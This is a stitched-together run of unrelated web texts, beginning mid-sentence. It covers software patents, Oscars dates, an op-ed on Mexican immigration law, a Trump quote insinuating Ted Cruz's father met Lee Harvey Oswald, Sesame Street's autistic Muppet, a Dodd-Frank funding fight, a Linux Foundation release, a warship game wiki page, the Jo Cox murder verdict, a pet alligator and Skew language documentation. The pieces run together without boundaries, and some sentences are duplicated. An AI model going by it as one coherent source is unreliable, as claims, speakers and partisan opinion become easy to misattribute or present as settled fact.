discussion with Michel shows is that, while he insists he's not about "anecdotes and assumptions," that appears to be what he's entirely about. This comes to light quite clearly when Michel finally suggests that if software patents are so bad for innovation, that software companies can just "opt out":I don't know if Michel has ever spent any time around the startup community, but the vast majority of entrepreneurs I talk to would absolutely love to "use patents less." But they can't. Because there are all sorts of patent lawyers and trolls who get patents on all sorts of crap and then sue these companies. You can't just opt out. How the hell do you opt out of getting sued by a bogus patent troll?Lee notes that current CAFC chief judge Randall Rader was at the same event and complained about how unfortunate it was that "the patent system [is] coming under attack." We've written about Judge Rader before , and he seems equally out of touch -- simply refusing to believe that there are significant problems with the patent system. As Lee notes, these judges don't actually have the slightest clue what actually happens in the world of technology and innovation. Instead, their worldview is filtered through the very distorting lens of patent attorneys who profit off of the system:It would be nice if there were some way to teach judges about what's actually happening out in the world, rather than the very, very distorted view they get on the bench.
Despite annual (and always wrong) media speculation (including a recent column in a well-known show biz trade) that the Academy Awards are planning to move a month earlier into January insiders have repeatedly told me the Academy’s Board has no taste for that, and as at least one former top officer in the organization told me over the weekend, contractually they can’t do it.
Though they haven’t yet announced any dates for the next Oscar race, the schedule of the Winter Olympics being held in Sochi, Russia February 7 through the 23rd puts a big crimp in any plans to keep the Oscars even on in its current berth on the last Sunday of February where it would run smack into the Closing Night ceremonies. In the past when this has come up the Academy has always moved the Oscar show to the first Sunday in March which would be on the 2nd next year. Quite frankly there is nowhere else for the show to go. Do the math.
With the Super Bowl already claiming Sunday February 2nd and the Olympics taking the remaining three Sundays, the earliest date available would be January 26th and every source with whom I have spoken tells me that is the date CBS is claiming for the Grammys next year (moving two weeks earlier than their February 10, 2013 date). Also getting the message are the major show biz Guilds which have all already staked out their 2014 dates and sprayed the territory.
SAG jumped the gun on February 8 and quickly announced their show would be Saturday January 18, a week earlier than usual. On February 21, the Producers Guild followed and took Sunday January 19, also a week earlier than this year’s event was held. Last week the Directors Guild announced they too would go a week earlier than 2013 and will present their awards on January 25. A top executive with one of those guilds told me they have been assured by Academy officials that the Oscars will move on to that March 2nd date, so no conflict is expected and there will likely be an even bigger gap than usual between the guild shows and the Oscars. Of course the Golden Globes will almost definitely stay on the weekend where they usually reside, and so Sunday January 12th is their likely date (but not yet announced).
With the difficulties Academy members encountered seeing everything in time to vote for nominations which were moved up to a January 10th announcement this year (with voting taking place over the holidays Dec 17-Jan 4), it is just not feasible to move the actual Oscar show any earlier than it already is, and top sources in the Academy tell me ABC also has a lot to say about the date too. Contractually the Academy has to adhere to certain guidelines regarding the date.
And with ratings up for this year’s Seth MacFarlane-hosted show, the pressure to move for ratings improvements would seem to be off for this year at least. The fact that the Academy smartly had six weeks instead of four between nominations and the show also allowed the nominated films more playing time in theaters and grosses increased markedly. Silver Linings Playbook for instance nearly doubled its gross and shot over $100 million in that period. The longer gap actually turned out to be good news for exhibitors and that was part of the Academy’s thinking in allowing more time for distributors to exploit their nominations. It also probably actually helped the ratings by giving the viewers more time to see the nominated films and develop a rooting interest. Six of the nine Best Picture nominees grossed well over $100 million and a seventh (Zero Dark Thirty) almost hit the mark.
With a March 2nd Oscar show all but a done deal, it will be interesting to see what date the Academy chooses to announce their nominations next year. With one more week to play with they could give more time up front and announce around January 16th and still have that six-week period leading up to the show. Of course they could also choose to keep the nomination announcement just three days before the Globes as they did this year. Many observers thought the Academy did this in part to blunt attention for the rival Golden Globes, but in fact it may have inadvertently brought even more attention to the Hollywood Foreign Press Association’s show as ratings for that NBC juggernaut were up 17% from the previous edition and the highest in six years.
Mexico has a radical idea for a rational immigration policy that most Americans would love. However, Mexican officials haven’t been sharing that idea with us as they press for our Congress to adopt the McCain-Kennedy immigration reform bill.
That’s too bad, because Mexico, which annually deports more illegal aliens than the United States does, has much to teach us about how it handles the immigration issue. Under Mexican law, it is a felony to be an illegal alien in Mexico.
At a time when the Supreme Court and many politicians seek to bring American law in line with foreign legal norms, it’s noteworthy that nobody has argued that the U.S. look at how Mexico deals with immigration and what it might teach us about how best to solve
our illegal immigration problem. Mexico has a single, streamlined law that ensures that foreign visitors and immigrants are:
in the country legally;
have the means to sustain themselves economically;
not destined to be burdens on society;
of economic and social benefit to society;
of good character and have no criminal records; and
contributors to the general well-being of the nation.
The law also ensures that:
immigration authorities have a record of each foreign visitor;
foreign visitors do not violate their visa status;
foreign visitors are banned from interfering in the country’s internal politics;
foreign visitors who enter under false pretenses are imprisoned or deported;
foreign visitors violating the terms of their entry are imprisoned or deported;
those who aid in illegal immigration will be sent to prison.
Who could disagree with such a law? It makes perfect sense. The Mexican constitution strictly defines the rights of citizens — and the denial of many fundamental rights to non-citizens, illegal and illegal. Under the constitution, the Ley General de Población, or
General Law on Population, spells out specifically the country’s immigration policy.
It is an interesting law — and one that should cause us all to ask, Why is our great southern neighbor pushing us to water down our own immigration laws and policies, when its own immigration restrictions are the toughest on the continent? If a felony is a
crime punishable by more than one year in prison, then Mexican law makes it a felony to be an illegal alien in Mexico.
If the United States adopted such statutes, Mexico no doubt would denounce it as a manifestation of American racism and bigotry.
We looked at the immigration provisions of the Mexican constitution. [1] Now let’s look at Mexico’s main immigration law.
Mexico welcomes only foreigners who will be useful to Mexican society:
Foreigners are admitted into Mexico “according to their possibilities of contributing to national progress.” (Article 32)
Immigration officials must “ensure” that “immigrants will be useful elements for the country and that they have the necessary funds for their sustenance” and for their dependents. (Article 34)
Foreigners may be barred from the country if their presence upsets “the equilibrium of the national demographics,” when foreigners are deemed detrimental to “economic or national interests,” when they do not behave like good citizens in their own country, when they have broken Mexican laws, and when “they are not found to be physically or mentally healthy.” (Article 37)
The Secretary of Governance may “suspend or prohibit the admission of foreigners when he determines it to be in the national interest.” (Article 38)
Mexican authorities must keep track of every single person in the country:
Federal, local and municipal police must cooperate with federal immigration authorities upon request, i.e., to assist in the arrests of illegal immigrants. (Article 73)
A National Population Registry keeps track of “every single individual who comprises the population of the country,” and verifies each individual’s identity. (Articles 85 and 86)
A national Catalog of Foreigners tracks foreign tourists and immigrants (Article 87), and assigns each individual with a unique tracking number (Article 91).
Foreigners with fake papers, or who enter the country under false pretenses, may be imprisoned:
Foreigners with fake immigration papers may be fined or imprisoned. (Article 116)
Foreigners who sign government documents “with a signature that is false or different from that which he normally uses” are subject to fine and imprisonment. (Article 116)
Foreigners who fail to obey the rules will be fined, deported, and/or imprisoned as felons:
Foreigners who fail to obey a deportation order are to be punished. (Article 117)
Foreigners who are deported from Mexico and attempt to re-enter the country without authorization can be imprisoned for up to 10 years. (Article 118)
Foreigners who violate the terms of their visa may be sentenced to up to six years in prison (Articles 119, 120 and 121). Foreigners who misrepresent the terms of their visa while in Mexico — such as working with out a permit — can also be imprisoned.
Under Mexican law, illegal immigration is a felony. The General Law on Population says,
“A penalty of up to two years in prison and a fine of three hundred to five thousand pesos will be imposed on the foreigner who enters the country illegally.” (Article 123)
Foreigners with legal immigration problems may be deported from Mexico instead of being imprisoned. (Article 125)
Foreigners who “attempt against national sovereignty or security” will be deported. (Article 126)
Mexicans who help illegal aliens enter the country are themselves considered criminals under the law:
A Mexican who marries a foreigner with the sole objective of helping the foreigner live in the country is subject to up to five years in prison. (Article 127)
Shipping and airline companies that bring undocumented foreigners into Mexico will be fined. (Article 132)
All of the above runs contrary to what Mexican leaders are demanding of the United States. The stark contrast between Mexico’s immigration practices versus its American
immigration preachings is telling. It gives a clear picture of the Mexican government’s agenda: to have a one-way immigration relationship with the United States.
Let’s call Mexico’s bluff on its unwarranted interference in U.S. immigration policy. Let’s propose, just to make a point, that the North American Free Trade Agreement (NAFTA) member nations standardize their immigration laws by using Mexico’s own law as a model.
This article was first posted at CenterforSecurityPolicy.org.
I’ve always said, ‘Why didn’t the National Enquirer get the Pulitzer prize for Edwards, and OJ Simpson, and all of these things?’
But anyway, so they have an old picture of [Rafael Cruz] having breakfast with Lee Harvey Oswald. Now, I’m not saying anything. And here’s how the press takes that story. This had nothing to do with me, except I might have pointed it out. I have no control over anything.
But did anybody ever deny that it was the father? They’re not saying, Oh, that wasn’t really my father. That’s a little hard to do — because it looks like him.
So the press takes that, and they say: ‘Donald Trump and his conspiracy theories; he went out and said [Cruz’s] father was with Lee Harvey Oswald, and he assassinated the President.’ What did I do?
Julia was first created by the Sesame Street Workshop in 2015 as part of an online-only digital book called Sesame Street & Autism: See the Amazing in All Children, which introduced the character during an afternoon of play with Elmo and Abby. Now the character will appear on the television show, joining the likes of Big Bird and Oscar the Grouch in April.
Introducing a new friend
The show plans to debut the autistic Muppet with a scene showing young viewers how people living with spectrum issues may struggle in social settings. The scene will show Elmo and Abby Cadabby introducing Julia to Big Bird, where she will be reluctant to shake Big Bird’s hand. At that point, Elmo explains that since Julia has autism, “Sometimes it takes her a little longer to do things,” leading to all four exploring ways in which everyone can have fun together in a way that makes them feel comfortable.
The creation of Julia as Sesame Street’s first autistic character required great attention to detail by the production team, with her female gender supposed to turn the tide on what some autism researchers believe is under-diagnosis in girls. The producers worked with autism advocacy groups, psychologists, and families in order to properly portray a child with just some of the numerous characteristics of autism.
The design of the Muppet was a major concern, with her eyes needing to somehow appear both intense and friendly. Furthermore, Julia’s clothes are plain and free of any adorning buttons or bows.
The show also cast Stacey Gordon, an actress and mother whose son has autism, in the role of Julia. Gordon told the US current affairs programme 60 Minutes that she felt as though the role was tailor made for her.
Another first for Sesame Street
While Julia is a first for autistic representation in children’s programming, Sesame Street and its international spin-offs have never shied away from tackling real-world issues for younger viewers; in 1982, the show tackled the death of one of its human cast by having Big Bird grapple with the death of his friend Mr Hooper. The show also made Big Bird's imaginary friend Mr Snuffleupagus visible to its human cast to encourage younger viewers not to be afraid that adults would not believe them if they told them about things like abuse or inappropriate behaviour.
Two decades later, the South African version of the show brought Kami into the fold, as the first HIV+ character. In 2006, the Israeli iteration debuted Mahdoub, a five-year-old Arab character who speaks Hebrew, with Israeli children also meeting Sivan in 2009, a wheelchair-using character who first originated in Brazil.
On Moncrieff today, Sean spoke to Sherrie Westin, the Executive Vice President of Global Impact & Philanthropy at the Sesame Workshop, the non-profit organisation in charge of the show around the world. You can listen back to that interview in the podcast below:
The Massachusetts liberal pleaded for House Democrats to withhold support for a government funding package due to a provision she said would change the Dodd-Frank financial reform law to let “Wall Street gamble with taxpayer money.”
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Her call gave voice to opposition among liberals to provisions tucked in the “cromnibus” deal that they argue would let big banks engage in the same risky trading that toppled the economy in 2008.
With House Republican leaders acknowledging they’ll need Democratic support to get the legislation through, unified opposition from liberals could prove fatal. A vote on the House floor is set for Thursday.
Warren dodged when asked how far she’d go to stop the bill if it reached the Senate with the Dodd-Frank provisions intact, stressing that the House must act first.
“We’re trying to get it out of the House omnibus bill right now,” she said. “That is where all the pressure is.”
Opposition to the funding deal began to surface early Wednesday morning as lawmakers began sorting through the surprise provisions tucked in the more than 1,600-page funding package.
While several controversial policy riders were quickly discovered, it was the change to Dodd-Frank that generated the loudest outcry.
The provision would no longer require that big banks separate trades in financial derivatives from traditional bank accounts, which are backed by the government through the Federal Deposit Insurance Corporation (FDIC). The derivatives played a key role in the financial collapse.
Critics argue the change would leave taxpayers on the hook if trades explode. Former Rep. Barney Frank (D-Mass.) called it a “stealth attack” on his namesake achievement.
Still, it’s unclear whether the opposition from Warren, Frank and others will persuade House Democrats to risk a government shutdown by voting against the bill.
Even vocal critics in the Senate of the provision, such as Sens. Jeff Merkley Jeffrey (Jeff) Alan MerkleySenate reignites blue slip war over Trump court picks Dems face tough vote on Green New Deal GOP Green New Deal stunt is a great deal for Democrats MORE (D-Ore.) and Sherrod Brown Sherrod Campbell BrownWorse than nothing's been done since the massive Equifax hack Dems face internal battle over budget On The Money: Dems set Tuesday vote on Trump's emergency declaration | Most Republicans expected to back Trump | Senate plots to avoid fall shutdown drama | Powell heading before Congress MORE (D-Ohio), stopped short of promising to oppose it.
The White House, similarly, is not saying whether President Obama would sign the cromnibus, though White House press secretary Josh Earnest said he was “pleased” to see a bill produced.
The change to the Dodd-Frank law has enjoyed bipartisan support in the past.
Republicans and 70 House Democrats voted for a version of the tweak in 2013, with most arguing it would boost economic growth and lessen the regulatory burdens on banks.
“There’s huge misunderstandings about what this thing says,” said Rep. Jim Himes (D-Conn.), who was an early sponsor of the original House bill.
Himes argued that the most dangerous derivatives would still be kept away from government-backed banks under the provision, and that banks would only be allowed to trade “plain vanilla” interest rate swaps.
Generating opposition to a complicated change to Dodd-Frank could prove a difficult task for Warren, who is being courted by groups on the left for a White House run in 2016.
House Minority Leader Nancy Pelosi (D-Calif.) said the Dodd-Frank provision “opens the door to another taxpayer-funded bailout of big banks,” but did not say she’d oppose the entire package because of the provision.
Reps. James Clyburn (S.C.), the third-ranking House Democrat, and Steny Hoyer (D-Md.), Pelosi’s top lieutenant, were both noncommittal about the bill after a meeting Wednesday morning.
Republicans have hammered at the Dodd-Frank law since its passage in 2010, arguing it bogs down the economy in red tape.
Financial services industry lobbyists and GOP aides said the round of negotiations over the government funding bill presented their best shot yet at cracking through Democratic opposition to changing Dodd-Frank.
“The regulatory reforms in the cromnibus are the first cracks in the Dodd-Frank armor,” said one senior GOP Senate aide, who asked not to be named in order to speak freely on the issue.
The aide said GOP leadership should use the tactic to
begin chipping away at other Democratic laws, including ObamaCare.
“If liberal Democrats vote for this package it shows that conservatives can use must-pass legislation to repeal the regulatory state,” the aide said.
Former Senate Banking Committee aide Mark Calabria said Congress has “begun smoothing some of the rougher edges of Dodd-Frank.”
“Large-scale reform remains unlikely, but modifications are almost now a certainty,” said Calabria, director of financial regulation studies at the Cato Institute.
Another top financial services lobbyist called the changes to Dodd-Frank “common sense” and noted their bipartisan support.
The lobbyist said that bill lends momentum to the push for “addressing more concerns next year,” when Republicans will control both chambers of Congress.
The Islamic Circle of North America is hosting its national Back2-School Giveaway, where 1,600 school bags filled with school supplies will donated to children who need the school supplies. The bags are filled with notebooks, pens, pencils, sharpeners, erasers, rulers, crayons and scissors.
"Islam teaches us that a person is not a true Muslim who fills his stomach while his neighbor is hungry, so these efforts an essential part of being a good Muslim," the organization said in the statement. "Through the Back to School Giveaway, we hope to both help struggling families provide for their children and inspire the American Muslim community to partake in this commendable act."
LAKE TAHOE, Calif. – The Linux Foundation Collaboration Summit – March 29, 2016 – The Linux Foundation, the nonprofit organization enabling mass innovation through open source, today is announcing it will host the TODO Group, a cross-industry effort to focus on establishing best practices, tools and programs to support corporate open source engagement. The TODO Group was originally formed in November 2014.
With the move to become a Linux Foundation project, the TODO Group is also announcing new member participation. New members include Autodesk, CapitalOne, Netflix, and SanDisk, who join existing contributors Box, Dropbox, Facebook, GitHub, Google, HPE, Khan Academy, Microsoft, Square, Stripe, Twitter, Walmart Labs and Yahoo. As major technology innovators are pushing the limits on open source development to build fast and build well, there is a growing requirement to collaborate on best practices, tools and programs to support the code.
Open source software enables businesses to unite development resources and build common software solutions that ultimately save billions in R&D costs. More than 78 percent of companies cite a reliance on open source software in business operations (Channel Insider, Open-Source Software Reaches Near-Ubiquity). But while open source has become the de-facto standard for software development, there is a gap in the knowledge surrounding development, IP, training and certification, governance and more. These are critical components for establishing, building and sustaining open source projects for the long-term. Because The Linux Foundation today hosts some of the world’s most critical open source projects and provides the events and training opportunities to support these projects, it is a natural home for the TODO Group.
“From carmakers and banks to retailers and hospitals, every industry relies on open source software, and every company is an Internet company,” said Jim Zemlin, executive director, The Linux Foundation. “The TODO Group reaches across industries to collaborate with open source technical and business leaders to share best practices, tools and programs for building dependable, effective projects for the long term.”
For more information about the TODO Group, please visit http://todogroup.org/.
Comments from Newest Members
Autodesk
“Driving continued open source growth requires professional management and investment by companies of all kinds,” said Guy Martin, Director of Open Source Strategy, Autodesk. “We are excited to join the TODO Group to share and collaborate on best practices in this critical area of open source.”
SanDisk
“SanDisk saw the importance of investing in an open source office a few years ago and wholeheartedly supports companies following and sharing best practices in engaging with the open source community. The establishment of the TODO Group under The Linux Foundation is consistent with the role of The Linux Foundation to promote collaboration on best practices and policies in open source engagement. I look forward to sharing and working with my fellow open source officers at the sub-group,” said Nithya Ruff, Director, Open Source Strategy Office, SanDisk.
About The Linux Foundation
The Linux Foundation is the organization of choice for the world’s top developers and companies to build ecosystems that accelerate open technology development and commercial adoption. Together with the worldwide open source community, it is solving the hardest technology problems by creating the largest shared technology investment in history. Founded in 2000, The Linux Foundation today provides tools, training and events to scale any open source project, which together deliver an economic impact not achievable by any one company. More information can be found at www.linuxfoundation.org.
0.8.0.3 Lion Battleship | U.K. | Tier IX Tech Tree Position stock top Battle Levels 1 2 3 4 5 6 7 8 9 10
IX 15,900,000 Lion — British Tier IX battleship. The last British battleship designed and laid down before the breakout of World War II. In many respects, the ship was a development of the King George V-class ships, but, unlike her predecessors, she had greater dimensions, heavier armor, and modern 406 mm main guns.
d26cce69a4a4457da698a210803aa55a
Modules
Rate of Fire
(shots/min) 180° Turn Time
(sec) Maximum Dispersion
(m) Maximum HE Shell Damage
(HP) Chance of Fire on Target Caused by HE Shell
(%) Maximum AP Shell Damage
(HP)
(exp)
) 406 mm/45 Mk IV 2 45 267 6,900 46 12,600 0 2,000,000 419 mm/45 Mk II 2 45 267 7,200 48 13,000 35,000 2,500,000 Hit Points
(HP)
(mm)
(mm) Main Turrets
(pcs.) Secondary Gun Turrets
(pcs.) AA Mounts
(pcs.) Torpedo Tubes
(pcs.) Hangar Capacity
(pcs.)
(exp)
) Lion (A) 58,600 19 381 3 8 10/4/2/6/8 0 0 2,400,000 Lion (B) 67,900 19 381 3 8 6/10/4/8 0 54,000 5,100,000 Firing Range Increase
(%) Maximum Firing Range
(km)
(exp)
) Mk IX mod. 1 0 18.9 0 1,000,000 Mk IX mod. 2 10 20.7 26,000 2,600,000 Maximum Speed
(knot)
(exp)
) Propulsion: 120,000 hp 28 0 600,000 Propulsion: 130,000 hp 29.5 20,000 1,500,000
Compatible Upgrades
Slot 1 Slot 2 Slot 3 Slot 4 Slot 5 Slot 6
Player Opinion
Performance
Tier IX's Lion has the ability to roar into action anywhere on a map to protect her cubs. Her low concealment combined with a fearsome main battery of 406mm guns means she excels at stalking and pouncing on unsuspecting prey. Keep in mind that even the mightiest of predators can fall victim to coordinated attacks. Therefore, she is best played at the head of her pride, able to be reinforced as needed. Her gameplay is very similar to that of the Iowa, with the added benefit of a strong Repair Party ( ) consumable. Use islands to mask your movements as you continue to advance and put pressure on the enemy. At the right moment, pounce! Played properly, Lion always repays her debts. Played properly,always repays her debts.
Pros: Great armor piercing shell penetration.
High chance of fire with high explosive shells.
Excellent handling characteristics.
Great concealment.
Access to an improved version of the Repair Party ( ) consumable such as those found on Nelson and high tier British cruisers.
) consumable such as those found on and high tier British cruisers. Decent anti-air weaponry provides more-than-adequate self-defense from enemy bomber aircraft.
Cons: Armor scheme is vulnerable to broadside hits from enemy battleships.
Very pitiful gun dispersion.
Her size and length make dodging torpedoes difficult.
Lowest health pool of all Tier IX battleships, as well as weaker Torpedo Defense System.
Average top speed; not fast enough to chase some ships, Lion is forced to pounce on her prey from stealth rather than chase them.
is forced to pounce on her prey from stealth rather than chase them. Very long Repair Party ( ) cooldown.
Research
Lion begins her life with decent teeth, but she is very weak to enemy air attacks. Therefore, it is probably best to focus on upgrading her hull first. With this, she can take more hits and be more effective on the battlefield. Afterwards, it depends on the player's style. For players who like to run and gun, the engine modification would be next, followed by gun fire control system, and finally main battery. For players who prefer to hunt and pounce on their unsuspecting prey, upgrade the ship's main battery first, followed by engine, and finally gun fire control system. Only a fully matured Lion can rule the pride.
Optimal Configuration
Upgrades
The recommended upgrades for Lion are as follows:
Commander Skills
Given her low health pool, Lion will benefit most from skills that maximize her survivability, chiefly Priority Target at Level 1, High Alert at Level 2, Superintendent at Level 3, and Fire Prevention at Level 4. Once those core skills are unlocked, captains are advised to invest in Concealment Expert, Adrenaline Rush, and either Basics of Survivability or Vigilance in whichever order suits them best.
Recommended Commander Skills Cost
(points) Endurance Attack Support Versatility
4 ★ ★★★ ★★ ★★★ Key: ★★★ - Extremely Useful ★★ - Frequently Useful ★ - Occasionally Useful No stars - Not Useful
Consumables
Lion can equip the following consumables:
Lion should always invest in her hunt with Damage Control Party II ( ), Repair Party II ( ), and premium aircraft consumables. Spotting Aircraft II ( ) provides better vision, enabling her to mangle prey. Catapult Fighter II ( ) is mainly intended to keep the fleas and ticks at bay.
Camouflage
Type 1, 2, or 5 camouflage can be equipped for credits; Types 2 or 5 are recommended at a minimum to reduce the accuracy of incoming shells.
Players who wish to spend doubloons can equip Lion with Type 19 camouflage that lowers her detection radius, reduces the accuracy of incoming shells, reduces her repair costs, and increases the amount of experience she earns.
Signals
Recommended Signal Flags Combat ★★ ★ ★ ★ ★ ★★ ★★ ★★★ ★★ ★★★ ★ Economic ★ ★★ ★★★ ★★ ★ Special ★★ ★★ Key: ★★★ - Extremely Useful ★★ - Frequently Useful ★ - Occasionally Useful No stars - Not Useful
Gallery
An Aichi D3A1 from Kaga inspects the new cub.
Lion roars.
Lion leads the pride.
Lion pounces on an enemy cruiser.
Lion shreds the enemy Hiryu ’s torpedo bombers.
Lion pounces on another victim.
Three ships attempt to take down the Lion .
An enemy Hood attempts to tame Lion .
Thomas Mair, 53, shot Cox three times and repeatedly stabbed the 41-year-old mother of two young children in her northern English electoral district.
During the attack on June 16, he shouted "Britain first" and "Keep Britain independent" his trial heard, and when arrested he told officers he was a political activist.
Mair, slight of build and balding with a grey goatee beard, had refused to enter a plea or speak in his defence at the Old Bailey trial.
He asked to make a statement only after the jury unanimously returned a guilty verdict but judge Alan Wilkie turned down his request.
"You are no patriot," Wilkie told him. "By your actions you have betrayed the quintessence of our country: its adherence to parliamentary democracy."
He added: "It is clear ... that your inspiration is not love of country or your fellow citizens, it is an admiration for Nazism and similar anti-democratic white supremacist creeds."
Mair, who was charged under anti-terrorism legislation, was also convicted of grievous bodily harm after he stabbed a 77-year-old man who had gone to Cox`s aid during the attack.
"Mair has offered no explanation for his actions but the prosecution was able to demonstrate that, motivated by hate, his pre-meditated crimes were nothing less than acts of terrorism designed to advance his twisted ideology," the Crown Prosecution Service (CPS) said in a statement.
Cox had only been in parliament for little more than a year, winning the seat for the opposition Labour party in the area where she grew up by a large majority.
Last week, we brought you the news that Thom Yorke's original handwritten lyrics for the Radiohead song 'Airbag' were up for charity auction.
Now, the latest item of memorabilia on sale for the discerning music fan is the piano that was used on Oasis's debut album 'Definitely Maybe', which also featured on the sleeve of their single 'Supersonic'.
The Yamaha C3 grand piano is on sale on eBay with a starting bid of £1,000, reports NME, who say that it has also been used by The Charlatans, Catatonia, Manic Street Preachers, Black Sabbath and Stereophonics at Monnow Valley Studios in Wales, where 'Definitely Maybe' was recorded.
The eBay listing reads:
"The piano was bought new in the late 1980s from Cranes in Cardiff and has featured on some of the best known records in the world. Most famously, it appeared on the cover of the single which spawned Britpop - Oasis' Supersonic - and was used on their album 'Definitely Maybe', recorded here in 1993. It has been played by the majority of our client list - from The Charlatans, Catatonia, Manic Street Preachers, Black Sabbath, Stereophonics & Simple Minds to Charlie Simpson and Bellowhead... amongst many more!
"It has been well used over the years, but is still very much a playable beginner's instrument. With 2 or 3 tunings a year, it will be stable enough for home use. For anything more, it would need a full refurb - however, the price fully reflects this. We anticipate that it would be of interest to either an Oasis super fan or someone looking for an entry level grand piano with the most interesting legacy in the country."
BURGETTSTOWN, Pa. - Is it a danger next door or a friendly neighborhood pet? Burgettstown said a 5-foot-long alligator is safe to stay.
Channel 11’s Cara Sapida went to check out the alligator Wednesday and said it never snapped in the hour she was there. Sapida reported it was surprisingly friendly and affectionate toward its owner, Randy Thomas.
“(We) went to exotic pet show in Pittsburgh. We thought it was small black caiman,” said Thomas.
That was 10 years ago. Since then, Jackie the gator has become part of Thomas’ family.
“She likes being rubbed underneath her head,” said Thomas.
Thomas brings Jackie out of her cage a couple times a week and said the majority of the neighbors embrace the animal.
“All the neighborhood kids come and feed the alligator,” said Thomas.
One neighbor made an anonymous call to the Washington Area Humane Society and complained. Thomas said police, humane officers and the game commission have been to the house and approved.
“I told them, ‘I’m not breaking any laws or ordinances, but I’ll show you she is well taken care of,’” said Thomas.
Thomas said Jackie could never escape her secure cage and aside from some tail whipping, it is no threat.
“If I was going to get bit, she would have bit me a long time ago,” he said.
Thomas said he knows alligator owners who keep their pets’ mouths taped shut, but he said there is no need to do that with Jackie.
Skew is a programming language for building cross-platform software. It compiles to straightforward, readable source code in other languages and is designed to be easy to integrate into a mixed-language code base. The main focus of the project has been to develop solid, production-quality code for the web. Skew looks like this:
# Execution starts at the entry point @entry def fizzBuzz { for i in 1..101 { var text = mod(i, 3, "Fizz") + mod(i, 5, "Buzz") document.write((text == "" ? i.toString : text) + "
") } } # The compiler inlines this function in release mode def mod(i int, n int, text string) string { return i % n == 0 ? text : "" } # Imported declarations are just for type checking @import namespace document { def write(text string) }
The language and compiler are in development and are still somewhat subject to change. The compiler is bootstrapped, which means it's written in Skew and compiles itself. It currently contains production-quality JavaScript generation and working C# generation. C++ generation is next and is already in progress.
Why use it?
The intent is to use this language for the platform-independent stuff in an application and to use the language native to the target platform for the platform-specific stuff. When done properly, the vast majority of the code is completely platform-independent and new platforms can be targeted easily with a small platform-specific shim.
Advanced optimizations: The optimizations in the compiler combined with certain language features (integers, explicit exports, wrapped types, etc.) makes writing compact, efficient JavaScript code easy and pleasant.
The optimizations in the compiler combined with certain language features (integers, explicit exports, wrapped types, etc.) makes writing compact, efficient JavaScript code easy and pleasant. Fast compile times: Code compiles at the speed of a browser refresh. Web development still feels like web development despite using an optimizing compiler with static typing. This is in contrast to many other comparable compile-to-JavaScript languages.
Code compiles at the speed of a browser refresh. Web development still feels like web development despite using an optimizing compiler with static typing. This is in contrast to many other comparable compile-to-JavaScript languages. Natural debugging experience: Debugging is done in a single language using the platform-native debugger. No need to try to debug a multi-language app with a debugger that only understands one language.
Debugging is done in a single language using the platform-native debugger. No need to try to debug a multi-language app with a debugger that only understands one language. Easy integration: Generated code is very readable and closely corresponds with the original. Language features allow for the easy import and export of code to and from the target language.
Generated code is very readable and closely corresponds with the original. Language features allow for the easy import and export of code to and from the target language. Fast iteration time: In addition to a fast compiler and a good debugging experience, garbage collection is used instead of manual memory management. This eliminates a whole class of time-consuming bugs that get in the way of the important stuff.
In addition to a fast compiler and a good debugging experience, garbage collection is used instead of manual memory management. This eliminates a whole class of time-consuming bugs that get in the way of the important stuff. Native code emission: For native targets, application logic is compiled directly to native code and is not interpreted in a virtual machine. Native apps don't have to pay for JIT warmup time and native app performance is not at the whim of heuristics. The generated code can be compiled using industry-standard compilers that leverage decades of optimization work.
Lack of IDE support: IDE support is planned but is a significant undertaking and will not materialize for a while. Developers who normally lean heavily on IDEs will be less efficient than usual.
IDE support is planned but is a significant undertaking and will not materialize for a while. Developers who normally lean heavily on IDEs will be less efficient than usual. Immaturity: This is a new programming language and hasn't stood the test of time. There will likely be many rough edges both in the language design and in the tools. Many planned features are not yet implemented.
This is a new programming language and hasn't stood the test of time. There will likely be many rough edges both in the language design and in the tools. Many planned features are not yet implemented. Lack of community: New programming languages don't have the wealth of searchable Q&A data that established programming languages have. Solutions to random issues are likely not available online.
New programming languages don't have the wealth of searchable Q&A data that established programming languages have. Solutions to random issues are likely not available online. No cross-platform multithreading: Multithreading is not a language feature and needs to be done in the target language. This limits multithreading opportunities to cleanly separable tasks like image decoding.
Multithreading is not a language feature and needs to be done in the target language. This limits multithreading opportunities to cleanly separable tasks like image decoding. Lack of low-level features: Features such as memory layout, move semantics, destructors, and vector instructions are intentionally omitted. These features don't map well to all language targets and their emulation is expensive. Use of these features is limited to imported library routines implemented in the target language.
Getting Started
Installation
Pros:Cons:
First, install node if you don't have it already. The release version of the compiler is cross-compiled to JavaScript and node is a JavaScript runtime. Installing node also installs a package manager called npm that can be used to install the compiler:
npm install -g skew
The compiler command is called "skewc". Run "skewc --help" to see a list of all available command-line flags. Example usage:
skewc src/*.sk --output-file=compiled.js --release
Examples
Here are some simple examples to start from. Each example demonstrates how to do input and output using imported code from the target language:
Example browser app (JavaScript) Create a file called "sparks.sk" that looks like this: Invoke the compiler to generate JavaScript code. Any compilation errors will show up here: skewc sparks.sk --output-file=sparks.js Create another file called "index.html" to serve the compiled code: <body></body> <script src="sparks.js"></script> That's it! Open "index.html" in a browser to see the app. To build a production-ready version of your app, just add the "--release" flag to the end of the compiler invocation: skewc sparks.sk --output-file=sparks.js --release
Example terminal app (JavaScript) Create a file called "calculator.sk" that looks like this: Invoke the compiler to generate JavaScript code. Any compilation errors will show up here: skewc calculator.sk --output-file=calculator.js That's it! Run the generated code to see the app: node calculator.js
Example terminal app (C#) Create a file called "calculator.sk" that looks like this: Invoke the compiler to generate C# code. Any compilation errors will show up here: skewc calculator.sk --output-file=calculator.cs Compile the C# code to generate a .NET executable. The example here uses Mono, an open-source implementation of Microsoft's .NET Framework. mcs calculator.cs -out:calculator.exe That's it! Run the generated executable to see the app: mono calculator.exe
All of these examples use the "dynamic" type for simplicity, but you'll likely want type imports for real work. Skew will eventually have a package manager and type imports will live there. I've put some HTML5 type imports on GitHub for convenience in the meantime.
An important thing to keep in mind when developing with Skew is that the compiler does dead code elimination. This means the compiler won't generate any output if nothing is marked for export. You can either indicate a "main" function with the "@entry" annotation as is done in the examples above, or you can use the "@export" annotation to ensure certain functions are exported.
To get a better feel for the language, it's probably helpful to take a look at the different examples of Skew code in the live editor in addition to looking at the documentation below.
IDE support
Visual Studio Code
Install the skew package for syntax highlighting, inline errors, type tooltips on hover, and other nice IDE features. Visual Studio Code is a cross platform Chromium-based text editor that works on Windows, OS X, and Linux and has nothing to do with the original Visual Studio product. Installing extensions in Visual Studio Code is a little strange. Use to bring up the in-app command line, then type "ext install skew-vscode" and press enter when it loads.
